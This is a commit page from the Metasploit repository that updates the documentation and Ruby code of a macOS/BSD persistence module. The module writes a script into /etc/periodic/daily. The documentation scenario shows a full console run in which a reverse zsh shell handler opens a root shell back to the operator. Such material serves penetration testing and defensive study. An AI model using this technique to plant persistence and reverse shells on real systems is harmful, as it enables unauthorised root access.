Skip to content

Commit 2681e7c

Browse files
committed
Update docs
1 parent 57f1433 commit 2681e7c

File tree

2 files changed

+31
-27
lines changed

2 files changed

+31
-27
lines changed

documentation/modules/exploit/multi/local/periodic_script_persistence.md

Lines changed: 27 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -26,36 +26,37 @@ Periodic Directory to write script eg. /etc/periodic/daily
2626

2727
Name of periodic script
2828

29-
### PAYLOAD_DIR
3029

31-
Directory to write payload to
32-
33-
### PAYLOAD_FILENAME
34-
35-
Name of the payload file
3630

3731
## Scenarios
3832
```
39-
msf6 exploit(multi/handler) > use exploit/osx/local/periodic_script_persistence
40-
[*] No payload configured, defaulting to osx/x64/meterpreter/reverse_tcp
41-
msf6 exploit(osx/local/periodic_script_persistence) > set target 2
42-
target => 2
43-
msf6 exploit(osx/local/periodic_script_persistence) > set session 1
33+
msf6 exploit(multi/local/periodic_script_persistence) > set session 1
4434
session => 1
45-
msf6 exploit(osx/local/periodic_script_persistence) > set lport 6666
46-
lport => 6666
47-
msf6 exploit(osx/local/periodic_script_persistence) > set payload osx/aarch64/meterpreter_reverse_tcp
48-
payload => osx/aarch64/meterpreter_reverse_tcp
49-
msf6 exploit(osx/local/periodic_script_persistence) > run
35+
msf6 exploit(multi/local/periodic_script_persistence) > run verbose=true
5036
51-
[*] Started reverse TCP handler on 192.168.0.239:6666
5237
[*] Running automatic check ("set AutoCheck false" to disable)
53-
[+] /etc/periodic is writable
54-
[+] The target is vulnerable.
55-
[+] Writing payload to /tmp/q0Y1M6djZ suceeded
56-
[*] Succesfully wrote periodic script to /etc/periodic/daily/JPk5z2s. This will execute /tmp/q0Y1M6djZ
57-
Cleanup script:
58-
59-
sudo rm /tmp/q0Y1M6djZ /etc/periodic/daily/JPk5z2s
60-
61-
```
38+
[+] The target is vulnerable. /etc/periodic/daily/ is writable
39+
[*] Writing '/etc/periodic/daily/jX3dG9' (118 bytes) ...
40+
[*] Succesfully wrote periodic script to /etc/periodic/daily/jX3dG9.
41+
[*] Cleanup command 'sudo rm/etc/periodic/daily/jX3dG9'
42+
msf6 exploit(multi/local/periodic_script_persistence) > handler -p cmd/unix/reverse_zsh -P 4444 -H ens39
43+
[*] Payload handler running as background job 4.
44+
45+
msf6 exploit(multi/local/periodic_script_persistence) > [*] Started reverse TCP handler on 192.168.168.219:4444
46+
[*] Command shell session 6 opened (192.168.168.219:4444 -> 192.168.168.175:49190) at 2025-08-29 17:49:54 +0200
47+
msf6 exploit(multi/local/periodic_script_persistence) > sessions
48+
49+
Active sessions
50+
===============
51+
52+
Id Name Type Information Connection
53+
-- ---- ---- ----------- ----------
54+
1 meterpreter x64/osx root @ mss-Mac.local 192.168.168.219:4242 -> 192.168.168.175:49165 (192.168.168.175)
55+
6 shell cmd/unix 192.168.168.219:4444 -> 192.168.168.175:49190 (192.168.168.175)
56+
57+
msf6 exploit(multi/local/periodic_script_persistence) > sessions 6
58+
[*] Starting interaction with 6...
59+
60+
id
61+
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
62+
```

modules/exploits/multi/local/periodic_script_persistence.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,9 @@ def initialize(info = {})
4040
[ 'Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
4141
[ 'Bsd', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'bsd' }]
4242
],
43+
'DefaultOptions' => {
44+
'DisablePayloadHandler' => true
45+
},
4346
'DefaultTarget' => 4,
4447
'SessionTypes' => [ 'shell', 'meterpreter' ],
4548
'Notes' => {
@@ -78,7 +81,7 @@ def write_periodic_script(payload_content)
7881
end
7982

8083
def exploit
81-
@clean_up_rc = 'sudo '
84+
@clean_up_rc = 'sudo rm'
8285

8386
if target['Arch'] == ARCH_PYTHON
8487
print_status 'Getting python version & path.'

0 commit comments

Comments
 (0)